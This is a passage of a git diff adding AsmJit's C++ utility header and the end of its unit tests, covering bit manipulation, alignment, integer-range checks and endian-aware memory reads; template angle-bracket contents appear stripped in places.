+ 1) == false, "Utils::isUInt32 should return false if outside"); + EXPECT(Utils::isUInt32(-1) == false, "Utils::isUInt32 should return false if negative"); + + INFO("Utils::isPower2()"); + for (i = 0; i < 64; i++) { + EXPECT(Utils::isPowerOf2(static_cast(1) << i) == true, + "Utils::isPower2() didn't report power of 2"); + EXPECT(Utils::isPowerOf2((static_cast(1) << i) ^ 0x001101) == false, + "Utils::isPower2() didn't report not power of 2"); + } + + INFO("Utils::mask()"); + for (i = 0; i < 32; i++) { + EXPECT(Utils::mask(i) == (1 << i), + "Utils::mask(%u) should return %X", i, (1 << i)); + } + + INFO("Utils::bits()"); + for (i = 0; i < 32; i++) { + uint32_t expectedBits = 0; + + for (uint32_t b = 0; b < i; b++) + expectedBits |= static_cast(1) << b; + + EXPECT(Utils::bits(i) == expectedBits, + "Utils::bits(%u) should return %X", i, expectedBits); + } + + INFO("Utils::hasBit()"); + for (i = 0; i < 32; i++) { + EXPECT(Utils::hasBit((1 << i), i) == true, + "Utils::hasBit(%X, %u) should return true", (1 << i), i); + } + + INFO("Utils::bitCount()"); + for (i = 0; i < 32; i++) { + EXPECT(Utils::bitCount((1 << i)) == 1, + "Utils::bitCount(%X) should return true", (1 << i)); + } + EXPECT(Utils::bitCount(0x000000F0) == 4, ""); + EXPECT(Utils::bitCount(0x10101010) == 4, ""); + EXPECT(Utils::bitCount(0xFF000000) == 8, ""); + EXPECT(Utils::bitCount(0xFFFFFFF7) == 31, ""); + EXPECT(Utils::bitCount(0x7FFFFFFF) == 31, ""); + + INFO("Utils::findFirstBit()"); + for (i = 0; i < 32; i++) { + EXPECT(Utils::findFirstBit((1 << i)) == i, + "Utils::findFirstBit(%X) should return %u", (1 << i), i); + } + + INFO("Utils::keepNOnesFromRight()"); + EXPECT(Utils::keepNOnesFromRight(0xF, 1) == 0x1, ""); + EXPECT(Utils::keepNOnesFromRight(0xF, 2) == 0x3, ""); + EXPECT(Utils::keepNOnesFromRight(0xF, 3) == 0x7, ""); + EXPECT(Utils::keepNOnesFromRight(0x5, 2) == 0x5, ""); + EXPECT(Utils::keepNOnesFromRight(0xD, 2) == 0x5, ""); + + INFO("Utils::isAligned()"); + EXPECT(Utils::isAligned(0xFFFF, 4) == false, ""); + EXPECT(Utils::isAligned(0xFFF4, 4) == true , ""); + EXPECT(Utils::isAligned(0xFFF8, 8) == true , ""); + EXPECT(Utils::isAligned(0xFFF0, 16) == true , ""); + + INFO("Utils::alignTo()"); + EXPECT(Utils::alignTo(0xFFFF, 4) == 0x10000, ""); + EXPECT(Utils::alignTo(0xFFF4, 4) == 0x0FFF4, ""); + EXPECT(Utils::alignTo(0xFFF8, 8) == 0x0FFF8, ""); + EXPECT(Utils::alignTo(0xFFF0, 16) == 0x0FFF0, ""); + EXPECT(Utils::alignTo(0xFFF0, 32) == 0x10000, ""); + + INFO("Utils::alignToPowerOf2()"); + EXPECT(Utils::alignToPowerOf2(0xFFFF) == 0x10000, ""); + EXPECT(Utils::alignToPowerOf2(0xF123) == 0x10000, ""); + EXPECT(Utils::alignToPowerOf2(0x0F00) == 0x01000, ""); + EXPECT(Utils::alignToPowerOf2(0x0100) == 0x00100, ""); + EXPECT(Utils::alignToPowerOf2(0x1001) == 0x02000, ""); + + INFO("Utils::alignDiff()"); + EXPECT(Utils::alignDiff(0xFFFF, 4) == 1, ""); + EXPECT(Utils::alignDiff(0xFFF4, 4) == 0, ""); + EXPECT(Utils::alignDiff(0xFFF8, 8) == 0, ""); + EXPECT(Utils::alignDiff(0xFFF0, 16) == 0, ""); + EXPECT(Utils::alignDiff(0xFFF0, 32) == 16, ""); +} +#endif // ASMJIT_TEST + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" diff --git a/asmjit/src/asmjit/base/utils.h b/asmjit/src/asmjit/base/utils.h new file mode 100644 index 0000000..b926cea --- /dev/null +++ b/asmjit/src/asmjit/base/utils.h @@ -0,0 +1,1358 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_UTILS_H +#define _ASMJIT_BASE_UTILS_H + +// [Dependencies] +#include "../base/globals.h" + +#if ASMJIT_CC_MSC_GE(14, 0, 0) +# include +#endif // ASMJIT_OS_WINDOWS + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::IntTraits] +// ============================================================================ + +//! \internal +//! \{ +template +struct IntTraitsPrivate {}; // Let it fail if not specialized! + +template<> struct IntTraitsPrivate<1, 0> { typedef int IntType; typedef int8_t SignedType; typedef uint8_t UnsignedType; }; +template<> struct IntTraitsPrivate<1, 1> { typedef int IntType; typedef int8_t SignedType; typedef uint8_t UnsignedType; }; + +template<> struct IntTraitsPrivate<2, 0> { typedef int IntType; typedef int16_t SignedType; typedef uint16_t UnsignedType; }; +template<> struct IntTraitsPrivate<2, 1> { typedef int IntType; typedef int16_t SignedType; typedef uint16_t UnsignedType; }; + +template<> struct IntTraitsPrivate<4, 0> { typedef int64_t IntType; typedef int32_t SignedType; typedef uint32_t UnsignedType; }; +template<> struct IntTraitsPrivate<4, 1> { typedef int IntType; typedef int32_t SignedType; typedef uint32_t UnsignedType; }; + +template<> struct IntTraitsPrivate<8, 0> { typedef int64_t IntType; typedef int64_t SignedType; typedef uint64_t UnsignedType; }; +template<> struct IntTraitsPrivate<8, 1> { typedef int64_t IntType; typedef int64_t SignedType; typedef uint64_t UnsignedType; }; + +//! \internal +template +struct IntTraits { + enum { + kIsSigned = static_cast(~static_cast(0)) < static_cast(0), + kIsUnsigned = !kIsSigned, + kIs8Bit = sizeof(T) == 1, + kIs16Bit = sizeof(T) == 2, + kIs32Bit = sizeof(T) == 4, + kIs64Bit = sizeof(T) == 8, + kIsIntPtr = sizeof(T) == sizeof(intptr_t) + }; + + typedef typename IntTraitsPrivate::IntType IntType; + typedef typename IntTraitsPrivate::SignedType SignedType; + typedef typename IntTraitsPrivate::UnsignedType UnsignedType; + + //! Get a minimum value of `T`. + static ASMJIT_INLINE T minValue() noexcept { + return kIsSigned ? T((~static_cast(0) >> 1) + static_cast(1)) : T(0); + } + + //! Get a maximum value of `T`. + static ASMJIT_INLINE T maxValue() noexcept { + return kIsSigned ? T(~static_cast(0) >> 1) : ~T(0); + } +}; + +//! \} + +// ============================================================================ +// [asmjit::Utils] +// ============================================================================ + +//! AsmJit utilities - integer, string, etc... +namespace Utils { + // -------------------------------------------------------------------------- + // [Float <-> Int] + // -------------------------------------------------------------------------- + + //! \internal + union FloatBits { + int32_t i; + float f; + }; + + //! \internal + union DoubleBits { + int64_t i; + double d; + }; + + //! Bit-cast `float` to a 32-bit integer. + static ASMJIT_INLINE int32_t floatAsInt(float f) noexcept { FloatBits m; m.f = f; return m.i; } + //! Bit-cast 32-bit integer to `float`. + static ASMJIT_INLINE float intAsFloat(int32_t i) noexcept { FloatBits m; m.i = i; return m.f; } + + //! Bit-cast `double` to a 64-bit integer. + static ASMJIT_INLINE int64_t doubleAsInt(double d) noexcept { DoubleBits m; m.d = d; return m.i; } + //! Bit-cast 64-bit integer to `double`. + static ASMJIT_INLINE double intAsDouble(int64_t i) noexcept { DoubleBits m; m.i = i; return m.d; } + + // -------------------------------------------------------------------------- + // [Pack / Unpack] + // -------------------------------------------------------------------------- + + //! Pack four 8-bit integer into a 32-bit integer as it is an array of `{b0,b1,b2,b3}`. + static ASMJIT_INLINE uint32_t pack32_4x8(uint32_t b0, uint32_t b1, uint32_t b2, uint32_t b3) noexcept { + return ASMJIT_PACK32_4x8(b0, b1, b2, b3); + } + + //! Pack two 32-bit integer into a 64-bit integer as it is an array of `{u0,u1}`. + static ASMJIT_INLINE uint64_t pack64_2x32(uint32_t u0, uint32_t u1) noexcept { + return ASMJIT_ARCH_LE ? (static_cast(u1) << 32) + u0 + : (static_cast(u0) << 32) + u1; + } + + // -------------------------------------------------------------------------- + // [Position of byte (in bit-shift)] + // -------------------------------------------------------------------------- + + static ASMJIT_INLINE uint32_t byteShiftOfDWordStruct(uint32_t index) noexcept { + if (ASMJIT_ARCH_LE) + return index * 8; + else + return (sizeof(uint32_t) - 1 - index) * 8; + } + + // -------------------------------------------------------------------------- + // [Lower/Upper] + // -------------------------------------------------------------------------- + + template + static ASMJIT_INLINE T toLower(T c) noexcept { return c ^ (static_cast(c >= T('A') && c <= T('Z')) << 5); } + template + static ASMJIT_INLINE T toUpper(T c) noexcept { return c ^ (static_cast(c >= T('a') && c <= T('z')) << 5); } + + // -------------------------------------------------------------------------- + // [Hash] + // -------------------------------------------------------------------------- + + // \internal + static ASMJIT_INLINE uint32_t hashRound(uint32_t hash, uint32_t c) noexcept { return hash * 65599 + c; } + + // Get a hash of the given string `str` of `len` length. Length must be valid + // as this function doesn't check for a null terminator and allows it in the + // middle of the string. + static ASMJIT_INLINE uint32_t hashString(const char* str, size_t len) noexcept { + uint32_t hVal = 0; + for (uint32_t i = 0; i < len; i++) + hVal = hashRound(hVal, str[i]); + return hVal; + } + + // -------------------------------------------------------------------------- + // [Swap] + // -------------------------------------------------------------------------- + + template + static ASMJIT_INLINE void swap(T& a, T& b) noexcept { + T tmp = a; + a = b; + b = tmp; + } + + // -------------------------------------------------------------------------- + // [InInterval] + // -------------------------------------------------------------------------- + + //! Get whether `x` is greater than or equal to `a` and lesses than or equal to `b`. + template + static ASMJIT_INLINE bool inInterval(T x, T a, T b) noexcept { + return x >= a && x <= b; + } + + // -------------------------------------------------------------------------- + // [AsInt] + // -------------------------------------------------------------------------- + + //! Map an integer `x` of type `T` to `int` or `int64_t` depending on the + //! type. Used internally by AsmJit to dispatch arguments that can be of + //! arbitrary integer type into a function argument that is either `int` or + //! `int64_t`. + template + static ASMJIT_INLINE typename IntTraits::IntType asInt(T x) noexcept { + return static_cast::IntType>(x); + } + + // -------------------------------------------------------------------------- + // [IsInt / IsUInt] + // -------------------------------------------------------------------------- + + //! Get whether the given integer `x` can be casted to a 4-bit signed integer. + template + static ASMJIT_INLINE bool isInt4(T x) noexcept { + typedef typename IntTraits::SignedType SignedType; + typedef typename IntTraits::UnsignedType UnsignedType; + + if (IntTraits::kIsSigned) + return inInterval(SignedType(x), -8, 7); + else + return UnsignedType(x) <= UnsignedType(7U); + } + + //! Get whether the given integer `x` can be casted to an 8-bit signed integer. + template + static ASMJIT_INLINE bool isInt8(T x) noexcept { + typedef typename IntTraits::SignedType SignedType; + typedef typename IntTraits::UnsignedType UnsignedType; + + if (IntTraits::kIsSigned) + return sizeof(T) <= 1 || inInterval(SignedType(x), -128, 127); + else + return UnsignedType(x) <= UnsignedType(127U); + } + + //! Get whether the given integer `x` can be casted to a 16-bit signed integer. + template + static ASMJIT_INLINE bool isInt16(T x) noexcept { + typedef typename IntTraits::SignedType SignedType; + typedef typename IntTraits::UnsignedType UnsignedType; + + if (IntTraits::kIsSigned) + return sizeof(T) <= 2 || inInterval(SignedType(x), -32768, 32767); + else + return sizeof(T) <= 1 || UnsignedType(x) <= UnsignedType(32767U); + } + + //! Get whether the given integer `x` can be casted to a 32-bit signed integer. + template + static ASMJIT_INLINE bool isInt32(T x) noexcept { + typedef typename IntTraits::SignedType SignedType; + typedef typename IntTraits::UnsignedType UnsignedType; + + if (IntTraits::kIsSigned) + return sizeof(T) <= 4 || inInterval(SignedType(x), -2147483647 - 1, 2147483647); + else + return sizeof(T) <= 2 || UnsignedType(x) <= UnsignedType(2147483647U); + } + + //! Get whether the given integer `x` can be casted to a 4-bit unsigned integer. + template + static ASMJIT_INLINE bool isUInt4(T x) noexcept { + typedef typename IntTraits::UnsignedType UnsignedType; + + if (IntTraits::kIsSigned) + return x >= T(0) && x <= T(15); + else + return UnsignedType(x) <= UnsignedType(15U); + } + + //! Get whether the given integer `x` can be casted to an 8-bit unsigned integer. + template + static ASMJIT_INLINE bool isUInt8(T x) noexcept { + typedef typename IntTraits::UnsignedType UnsignedType; + + if (IntTraits::kIsSigned) + return x >= T(0) && (sizeof(T) <= 1 ? true : x <= T(255)); + else + return sizeof(T) <= 1 || UnsignedType(x) <= UnsignedType(255U); + } + + //! Get whether the given integer `x` can be casted to a 12-bit unsigned integer (ARM specific). + template + static ASMJIT_INLINE bool isUInt12(T x) noexcept { + typedef typename IntTraits::UnsignedType UnsignedType; + + if (IntTraits::kIsSigned) + return x >= T(0) && (sizeof(T) <= 1 ? true : x <= T(4095)); + else + return sizeof(T) <= 1 || UnsignedType(x) <= UnsignedType(4095U); + } + + //! Get whether the given integer `x` can be casted to a 16-bit unsigned integer. + template + static ASMJIT_INLINE bool isUInt16(T x) noexcept { + typedef typename IntTraits::UnsignedType UnsignedType; + + if (IntTraits::kIsSigned) + return x >= T(0) && (sizeof(T) <= 2 ? true : x <= T(65535)); + else + return sizeof(T) <= 2 || UnsignedType(x) <= UnsignedType(65535U); + } + + //! Get whether the given integer `x` can be casted to a 32-bit unsigned integer. + template + static ASMJIT_INLINE bool isUInt32(T x) noexcept { + typedef typename IntTraits::UnsignedType UnsignedType; + + if (IntTraits::kIsSigned) + return x >= T(0) && (sizeof(T) <= 4 ? true : x <= T(4294967295U)); + else + return sizeof(T) <= 4 || UnsignedType(x) <= UnsignedType(4294967295U); + } + + // -------------------------------------------------------------------------- + // [IsPowerOf2] + // -------------------------------------------------------------------------- + + //! Get whether the `n` value is a power of two (only one bit is set). + template + static ASMJIT_INLINE bool isPowerOf2(T n) noexcept { + return n != 0 && (n & (n - 1)) == 0; + } + + // -------------------------------------------------------------------------- + // [Mask] + // -------------------------------------------------------------------------- + + //! Generate a bit-mask that has `x` bit set. + static ASMJIT_INLINE uint32_t mask(uint32_t x) noexcept { + ASMJIT_ASSERT(x < 32); + return static_cast(1) << x; + } + + //! Generate a bit-mask that has `x0` and `x1` bits set. + static ASMJIT_INLINE uint32_t mask(uint32_t x0, uint32_t x1) noexcept { + return mask(x0) | mask(x1); + } + + //! Generate a bit-mask that has `x0`, `x1` and `x2` bits set. + static ASMJIT_INLINE uint32_t mask(uint32_t x0, uint32_t x1, uint32_t x2) noexcept { + return mask(x0, x1) | mask(x2); + } + + //! Generate a bit-mask that has `x0`, `x1`, `x2` and `x3` bits set. + static ASMJIT_INLINE uint32_t mask(uint32_t x0, uint32_t x1, uint32_t x2, uint32_t x3) noexcept { + return mask(x0, x1) | mask(x2, x3); + } + + //! Generate a bit-mask that has `x0`, `x1`, `x2`, `x3` and `x4` bits set. + static ASMJIT_INLINE uint32_t mask(uint32_t x0, uint32_t x1, uint32_t x2, uint32_t x3, uint32_t x4) noexcept { + return mask(x0, x1) | mask(x2, x3) | mask(x4); + } + + //! Generate a bit-mask that has `x0`, `x1`, `x2`, `x3`, `x4` and `x5` bits set. + static ASMJIT_INLINE uint32_t mask(uint32_t x0, uint32_t x1, uint32_t x2, uint32_t x3, uint32_t x4, uint32_t x5) noexcept { + return mask(x0, x1) | mask(x2, x3) | mask(x4, x5); + } + + //! Generate a bit-mask that has `x0`, `x1`, `x2`, `x3`, `x4`, `x5` and `x6` bits set. + static ASMJIT_INLINE uint32_t mask(uint32_t x0, uint32_t x1, uint32_t x2, uint32_t x3, uint32_t x4, uint32_t x5, uint32_t x6) noexcept { + return mask(x0, x1) | mask(x2, x3) | mask(x4, x5) | mask(x6); + } + + //! Generate a bit-mask that has `x0`, `x1`, `x2`, `x3`, `x4`, `x5`, `x6` and `x7` bits set. + static ASMJIT_INLINE uint32_t mask(uint32_t x0, uint32_t x1, uint32_t x2, uint32_t x3, uint32_t x4, uint32_t x5, uint32_t x6, uint32_t x7) noexcept { + return mask(x0, x1) | mask(x2, x3) | mask(x4, x5) | mask(x6, x7); + } + + //! Generate a bit-mask that has `x0`, `x1`, `x2`, `x3`, `x4`, `x5`, `x6`, `x7` and `x8` bits set. + static ASMJIT_INLINE uint32_t mask(uint32_t x0, uint32_t x1, uint32_t x2, uint32_t x3, uint32_t x4, uint32_t x5, uint32_t x6, uint32_t x7, uint32_t x8) noexcept { + return mask(x0, x1) | mask(x2, x3) | mask(x4, x5) | mask(x6, x7) | mask(x8); + } + + //! Generate a bit-mask that has `x0`, `x1`, `x2`, `x3`, `x4`, `x5`, `x6`, `x7`, `x8` and `x9` bits set. + static ASMJIT_INLINE uint32_t mask(uint32_t x0, uint32_t x1, uint32_t x2, uint32_t x3, uint32_t x4, uint32_t x5, uint32_t x6, uint32_t x7, uint32_t x8, uint32_t x9) noexcept { + return mask(x0, x1) | mask(x2, x3) | mask(x4, x5) | mask(x6, x7) | mask(x8, x9); + } + + // -------------------------------------------------------------------------- + // [Bits] + // -------------------------------------------------------------------------- + + //! Generate a bit-mask that has `x` least significant bits set. + static ASMJIT_INLINE uint32_t bits(uint32_t x) noexcept { + // Shifting more bits than the type has results in undefined behavior. In + // such case asmjit trashes the result by ORing with `overflow` mask, which + // discards the undefined value returned by the shift. + uint32_t overflow = static_cast( + -static_cast(x >= sizeof(uint32_t) * 8)); + + return ((static_cast(1) << x) - 1U) | overflow; + } + + // -------------------------------------------------------------------------- + // [HasBit] + // -------------------------------------------------------------------------- + + //! Get whether `x` has bit `n` set. + template + static ASMJIT_INLINE bool hasBit(T x, Index n) noexcept { + return (x & (static_cast(1) << n)) != 0; + } + + // -------------------------------------------------------------------------- + // [BitCount] + // -------------------------------------------------------------------------- + + static ASMJIT_INLINE uint32_t bitCountSlow(uint32_t x) noexcept { + // From: http://graphics.stanford.edu/~seander/bithacks.html + x = x - ((x >> 1) & 0x55555555U); + x = (x & 0x33333333U) + ((x >> 2) & 0x33333333U); + return (((x + (x >> 4)) & 0x0F0F0F0FU) * 0x01010101U) >> 24; + } + + //! Get count of bits in `x`. + static ASMJIT_INLINE uint32_t bitCount(uint32_t x) noexcept { +#if ASMJIT_CC_GCC || ASMJIT_CC_CLANG + return __builtin_popcount(x); +#else + return bitCountSlow(x); +#endif + } + + // -------------------------------------------------------------------------- + // [FirstBitOf] + // -------------------------------------------------------------------------- + + template + struct FirstBitOfTImpl { + enum { + _shift = (In & ASMJIT_UINT64_C(0x0000FFFFFFFFFFFF)) == 0 ? 48 : + (In & ASMJIT_UINT64_C(0x00000000FFFFFFFF)) == 0 ? 32 : + (In & ASMJIT_UINT64_C(0x000000000000FFFF)) == 0 ? 16 : 0, + + kValue = ((In >> _shift) & 0x0001) ? (_shift + 0) : + ((In >> _shift) & 0x0002) ? (_shift + 1) : + ((In >> _shift) & 0x0004) ? (_shift + 2) : + ((In >> _shift) & 0x0008) ? (_shift + 3) : + ((In >> _shift) & 0x0010) ? (_shift + 4) : + ((In >> _shift) & 0x0020) ? (_shift + 5) : + ((In >> _shift) & 0x0040) ? (_shift + 6) : + ((In >> _shift) & 0x0080) ? (_shift + 7) : + ((In >> _shift) & 0x0100) ? (_shift + 8) : + ((In >> _shift) & 0x0200) ? (_shift + 9) : + ((In >> _shift) & 0x0400) ? (_shift + 10) : + ((In >> _shift) & 0x0800) ? (_shift + 11) : + ((In >> _shift) & 0x1000) ? (_shift + 12) : + ((In >> _shift) & 0x2000) ? (_shift + 13) : + ((In >> _shift) & 0x4000) ? (_shift + 14) : + ((In >> _shift) & 0x8000) ? (_shift + 15) : 0 + }; + }; + + template<> + struct FirstBitOfTImpl<0> {}; + + template + static ASMJIT_INLINE uint32_t firstBitOfT() noexcept { return FirstBitOfTImpl::kValue; } + + // -------------------------------------------------------------------------- + // [FindFirstBit] + // -------------------------------------------------------------------------- + + //! \internal + static ASMJIT_INLINE uint32_t findFirstBitSlow(uint32_t mask) noexcept { + // This is a reference (slow) implementation of `findFirstBit()`, used when + // we don't have a C++ compiler support. The implementation speed has been + // improved to check for 2 bits per iteration. + uint32_t i = 1; + + while (mask != 0) { + uint32_t two = mask & 0x3; + if (two != 0x0) + return i - (two & 0x1); + + i += 2; + mask >>= 2; + } + + return 0xFFFFFFFFU; + } + + //! Find a first bit in `mask`. + static ASMJIT_INLINE uint32_t findFirstBit(uint32_t mask) noexcept { +#if ASMJIT_CC_MSC_GE(14, 0, 0) && (ASMJIT_ARCH_X86 || ASMJIT_ARCH_ARM32 || \ + ASMJIT_ARCH_X64 || ASMJIT_ARCH_ARM64) + DWORD i; + if (_BitScanForward(&i, mask)) + return static_cast(i); + else + return 0xFFFFFFFFU; +#elif ASMJIT_CC_GCC_GE(3, 4, 6) || ASMJIT_CC_CLANG + if (mask) + return __builtin_ctz(mask); + else + return 0xFFFFFFFFU; +#else + return findFirstBitSlow(mask); +#endif + } + + // -------------------------------------------------------------------------- + // [Misc] + // -------------------------------------------------------------------------- + + static ASMJIT_INLINE uint32_t keepNOnesFromRight(uint32_t mask, uint32_t nBits) noexcept { + uint32_t m = 0x1; + + do { + nBits -= (mask & m) != 0; + m <<= 1; + if (nBits == 0) { + m -= 1; + mask &= m; + break; + } + } while (m); + + return mask; + } + + static ASMJIT_INLINE uint32_t indexNOnesFromRight(uint8_t* dst, uint32_t mask, uint32_t nBits) noexcept { + uint32_t totalBits = nBits; + uint8_t i = 0; + uint32_t m = 0x1; + + do { + if (mask & m) { + *dst++ = i; + if (--nBits == 0) + break; + } + + m <<= 1; + i++; + } while (m); + + return totalBits - nBits; + } + + // -------------------------------------------------------------------------- + // [Alignment] + // -------------------------------------------------------------------------- + + template + static ASMJIT_INLINE bool isAligned(X base, Y alignment) noexcept { + typedef typename IntTraitsPrivate::UnsignedType U; + return ((U)base % (U)alignment) == 0; + } + + template + static ASMJIT_INLINE X alignTo(X x, Y alignment) noexcept { + typedef typename IntTraitsPrivate::UnsignedType U; + return (X)( ((U)x + (U)(alignment - 1)) & ~(static_cast(alignment) - 1) ); + } + + //! Get delta required to align `base` to `alignment`. + template + static ASMJIT_INLINE X alignDiff(X base, Y alignment) noexcept { + return alignTo(base, alignment) - base; + } + + template + static ASMJIT_INLINE T alignToPowerOf2(T base) noexcept { + // Implementation is from "Hacker's Delight" by Henry S. Warren, Jr. + base -= 1; + +#if defined(_MSC_VER) +# pragma warning(push) +# pragma warning(disable: 4293) +#endif // _MSC_VER + + base = base | (base >> 1); + base = base | (base >> 2); + base = base | (base >> 4); + + // 8/16/32 constants are multiplied by the condition to prevent a compiler + // complaining about the 'shift count >= type width' (GCC). + if (sizeof(T) >= 2) base = base | (base >> ( 8 * (sizeof(T) >= 2))); // Base >> 8. + if (sizeof(T) >= 4) base = base | (base >> (16 * (sizeof(T) >= 4))); // Base >> 16. + if (sizeof(T) >= 8) base = base | (base >> (32 * (sizeof(T) >= 8))); // Base >> 32. + +#if defined(_MSC_VER) +# pragma warning(pop) +#endif // _MSC_VER + + return base + 1; + } + + // -------------------------------------------------------------------------- + // [String] + // -------------------------------------------------------------------------- + + static ASMJIT_INLINE size_t strLen(const char* s, size_t maxlen) noexcept { + size_t i; + for (i = 0; i < maxlen; i++) + if (!s[i]) + break; + return i; + } + + static ASMJIT_INLINE const char* findPackedString(const char* p, uint32_t id) noexcept { + uint32_t i = 0; + while (i < id) { + while (p[0]) + p++; + p++; + i++; + } + return p; + } + + //! \internal + //! + //! Compare two instruction names. + //! + //! `a` is a null terminated instruction name from `???InstDB::nameData[]` table. + //! `b` is a non-null terminated instruction name passed to `???Inst::getIdByName()`. + static ASMJIT_INLINE int cmpInstName(const char* a, const char* b, size_t len) noexcept { + for (size_t i = 0; i < len; i++) { + int c = static_cast(static_cast(a[i])) - + static_cast(static_cast(b[i])) ; + if (c != 0) return c; + } + + return static_cast(a[len]); + } + + // -------------------------------------------------------------------------- + // [BSwap] + // -------------------------------------------------------------------------- + + static ASMJIT_INLINE uint32_t byteswap32(uint32_t x) noexcept { +#if ASMJIT_CC_MSC + return static_cast(_byteswap_ulong(x)); +#elif ASMJIT_CC_GCC_GE(4, 3, 0) || ASMJIT_CC_CLANG_GE(2, 6, 0) + return __builtin_bswap32(x); +#else + uint32_t y = x & 0x00FFFF00U; + x = (x << 24) + (x >> 24); + y = (y << 8) + (y >> 8); + return x + (y & 0x00FFFF00U); +#endif + } + + // -------------------------------------------------------------------------- + // [ReadMem] + // -------------------------------------------------------------------------- + + static ASMJIT_INLINE uint32_t readU8(const void* p) noexcept { + return static_cast(static_cast(p)[0]); + } + + static ASMJIT_INLINE int32_t readI8(const void* p) noexcept { + return static_cast(static_cast(p)[0]); + } + + template + static ASMJIT_INLINE uint32_t readU16xLE(const void* p) noexcept { + ASMJIT_ASSUME_ALIGNED(p, Alignment > 1 ? Alignment : 1U); + if (ASMJIT_ARCH_LE && (ASMJIT_ARCH_UNALIGNED_16 || Alignment >= 2)) { + return static_cast(static_cast(p)[0]); + } + else { + uint32_t x = static_cast(static_cast(p)[0]); + uint32_t y = static_cast(static_cast(p)[1]); + return x + (y << 8); + } + } + + template + static ASMJIT_INLINE uint32_t readU16xBE(const void* p) noexcept { + ASMJIT_ASSUME_ALIGNED(p, Alignment > 1 ? Alignment : 1U); + if (ASMJIT_ARCH_BE && (ASMJIT_ARCH_UNALIGNED_16 || Alignment >= 2)) { + return static_cast(static_cast(p)[0]); + } + else { + uint32_t x = static_cast(static_cast(p)[0]); + uint32_t y = static_cast(static_cast(p)[1]); + return (x << 8) + y; + } + } + + template + static ASMJIT_INLINE uint32_t readU16x(const void* p) noexcept { + return ASMJIT_ARCH_LE ? readU16xLE(p) : readU16xBE(p); + } + + template + static ASMJIT_INLINE int32_t readI16xLE(const void* p) noexcept { + ASMJIT_ASSUME_ALIGNED(p, Alignment > 1 ? Alignment : 1U); + if (ASMJIT_ARCH_LE && (ASMJIT_ARCH_UNALIGNED_16 || Alignment >= 2)) { + return static_cast(static_cast(p)[0]); + } + else { + int32_t x = static_cast(static_cast(p)[0]); + int32_t y = static_cast(static_cast(p)[1]); + return x + (y << 8); + } + } + + template + static ASMJIT_INLINE int32_t readI16xBE(const void* p) noexcept { + ASMJIT_ASSUME_ALIGNED(p, Alignment > 1 ? Alignment : 1U); + if (ASMJIT_ARCH_BE && (ASMJIT_ARCH_UNALIGNED_16 || Alignment >= 2)) { + return static_cast(static_cast(p)[0]); + } + else { + int32_t x = static_cast(static_cast(p)[0]); + int32_t y = static_cast(static_cast(p)[1]); + return (x << 8) + y; + } + } + + template + static ASMJIT_INLINE int32_t readI16x(const void* p) noexcept { + return ASMJIT_ARCH_LE ? readI16xLE(p) : readI16xBE(p); + } + + static ASMJIT_INLINE uint32_t readU16aLE(const void* p) noexcept { return readU16xLE<2>(p); } + static ASMJIT_INLINE uint32_t readU16uLE(const void* p) noexcept { return readU16xLE<0>(p); } + + static ASMJIT_INLINE uint32_t readU16aBE(const void* p) noexcept { return readU16xBE<2>(p); } + static ASMJIT_INLINE uint32_t readU16uBE(const void* p) noexcept { return readU16xBE<0>(p); } + + static ASMJIT_INLINE uint32_t readU16a(const void* p) noexcept { return readU16x<2>(p); } + static ASMJIT_INLINE uint32_t readU16u(const void* p) noexcept { return readU16x<0>(p); } + + static ASMJIT_INLINE int32_t readI16aLE(const void* p) noexcept { return readI16xLE<2>(p); } + static ASMJIT_INLINE int32_t readI16uLE(const void* p) noexcept { return readI16xLE<0>(p); } + + static ASMJIT_INLINE int32_t readI16aBE(const void* p) noexcept { return readI16xBE<2>(p); } + static ASMJIT_INLINE int32_t readI16uBE(const void* p) noexcept { return readI16xBE<0>(p); } + + static ASMJIT_INLINE int32_t readI16a(const void* p) noexcept { return readI16x<2>(p); } + static ASMJIT_INLINE int32_t readI16u(const void* p) noexcept { return readI16x<0>(p); } + + template + static ASMJIT_INLINE uint32_t readU32xLE(const void* p) noexcept { + ASMJIT_ASSUME_ALIGNED(p, Alignment > 1 ? Alignment : 1U); + if (ASMJIT_ARCH_UNALIGNED_32 || Alignment >= 4) { + uint32_t x = static_cast(p)[0]; + return ASMJIT_ARCH_LE ? x : byteswap32(x); + } + else { + uint32_t x = readU16xLE(static_cast(p) + 0); + uint32_t y = readU16xLE(static_cast(p) + 2); + return x + (y << 16); + } + } + + template + static ASMJIT_INLINE uint32_t readU32xBE(const void* p) noexcept { + ASMJIT_ASSUME_ALIGNED(p, Alignment > 1 ? Alignment : 1U); + if (ASMJIT_ARCH_UNALIGNED_32 || Alignment >= 4) { + uint32_t x = static_cast(p)[0]; + return ASMJIT_ARCH_BE ? x : byteswap32(x); + } + else { + uint32_t x = readU16xBE(static_cast(p) + 0); + uint32_t y = readU16xBE(static_cast(p) + 2); + return (x << 16) + y; + } + } + + template + static ASMJIT_INLINE uint32_t readU32x(const void* p) noexcept { + return ASMJIT_ARCH_LE ? readU32xLE(p) : readU32xBE(p); + } + + template + static ASMJIT_INLINE int32_t readI32xLE(const void* p) noexcept { + return static_cast(readU32xLE(p)); + } + + template + static ASMJIT_INLINE int32_t readI32xBE(const void* p) noexcept { + return static_cast(readU32xBE(p)); + } + + template + static ASMJIT_INLINE int32_t readI32x(const void* p) noexcept { + return ASMJIT_ARCH_LE ? readI32xLE(p) : readI32xBE(p); + } + + static ASMJIT_INLINE uint32_t readU32a(const void* p) noexcept { return readU32x<4>(p); } + static ASMJIT_INLINE uint32_t readU32u(const void* p) noexcept { return readU32x<0>(p); } + + static ASMJIT_INLINE uint32_t readU32aLE(const void* p) noexcept { return readU32xLE<4>(p); } + static ASMJIT_INLINE uint32_t readU32uLE(const void* p) noexcept { return readU32xLE<0>(p); } + + static ASMJIT_INLINE uint32_t readU32aBE(const void* p) noexcept { return readU32xBE<4>(p); } + static ASMJIT_INLINE uint32_t readU32uBE(const void* p) noexcept { return readU32xBE<0>(p); } + + static ASMJIT_INLINE int32_t readI32a(const void* p) noexcept { return readI32x<4>(p); } + static ASMJIT_INLINE int32_t readI32u(const void* p) noexcept { return readI32x<0>(p); } + + static ASMJIT_INLINE int32_t readI32aLE(const void* p) noexcept { return readI32xLE<4>(p); } + static 